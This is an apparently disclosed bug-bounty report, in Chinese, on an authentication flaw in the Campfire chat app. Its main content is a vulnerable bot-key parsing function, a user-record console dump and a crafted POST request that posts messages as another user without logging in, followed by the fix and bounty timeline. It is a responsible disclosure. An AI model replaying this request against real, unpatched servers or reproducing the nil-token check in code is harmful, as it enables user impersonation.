报告 #3329310 - 机器人身份验证不当允许在房间发送消息时模拟任何用户
提交者: stackered
提交时间: 2025年9月6日,下午3:24 (UTC)
漏洞详情
机器人被允许在聊天室中发送消息,但需要使用机器人密钥(bot key)进行身份验证。
机器人密钥身份验证函数如下:
1
2
3
4
|
def authenticate_bot(bot_key)
bot_id, bot_token = bot_key.split("-")
active.find_by(id: bot_id, bot_token: bot_token)
end
|
问题在于,如果 bot_key 没有右侧部分(例如:“1-"),bot_token 将变为 nil,此时如果 bot_id 匹配到一个有效的用户ID,查询将成功匹配到一个 User 记录。
用户ID是递增的,正如在Rails控制台中所见,因此很容易被猜测。这些ID在一些URL中也可见。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
campfire(prod):038> User.active
=>
[#<User:0x00007a444e940f18
id: 1,
name: "enoent",
created_at: "2025-09-06 11:59:41.505220000 +0000",
updated_at: "2025-09-06 14:08:08.788258000 +0000",
role: "administrator",
email_address: "[FILTERED]",
password_digest: "[FILTERED]",
active: true,
bio: "<s>ddqsdqsds</s>",
bot_token: nil>,
#<User:0x00007a444e940dd8
id: 2,
name: "test",
created_at: "2025-09-06 13:24:29.113250000 +0000",
updated_at: "2025-09-06 13:42:26.539909000 +0000",
role: "member",
email_address: "[FILTERED]",
password_digest: "[FILTERED]",
active: true,
bio: nil,
bot_token: nil>,
#<User:0x00007a444e940c98
|
以下请求示例展示了该问题,它允许一个未经认证的用户模拟另一个用户(此处使用ID 2)并以其名义发布消息:
1
2
3
4
5
6
7
8
|
POST /rooms/2/2-/messages HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/vnd.turbo-stream.html, text/html, application/xhtml+xml
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 193
Hello ! I'm the test user, even though I'm not authenticated
|
附件图片显示,该消息已成功发布,并且显示来自"test"用户。
影响:
未经认证的用户可以模拟任何用户,在该用户有权访问的房间中发送任意消息。
时间线与处理过程
- 2025年9月9日,下午4:08 (UTC): 安全工程师 jacopo-beschi 确认了报告的有效性。
- 2025年9月10日,上午7:18 (UTC): jacopo-beschi 更新称,由于Campfire项目已开源,将不再提供赏金,但会讨论如何处理现有报告。
- 2025年9月10日,上午8:43 (UTC): Basecamp 向 stackered 发放了 2000美元 的赏金。
- 2025年9月10日,上午8:44 (UTC): jacopo-beschi 表示已在版本1.1.8中发布了修复程序,并请求验证。
- 2025年9月11日,上午11:23 (UTC): stackered 确认修复后无法再复现该漏洞。
- 2025年9月11日,下午12:06 (UTC): jacopo-beschi 关闭报告,状态标记为"已解决”。
- 约10天前: 报告被请求公开并获得同意,现已披露。
报告信息摘要
- 报告ID: #3329310
- 状态: 已解决
- 严重程度: 高 (7.5)
- 披露日期: 2025年11月21日,下午7:39 (UTC)
- 漏洞类型: 不当的身份验证 - 通用
- CVE ID: 无
- 赏金: $2,000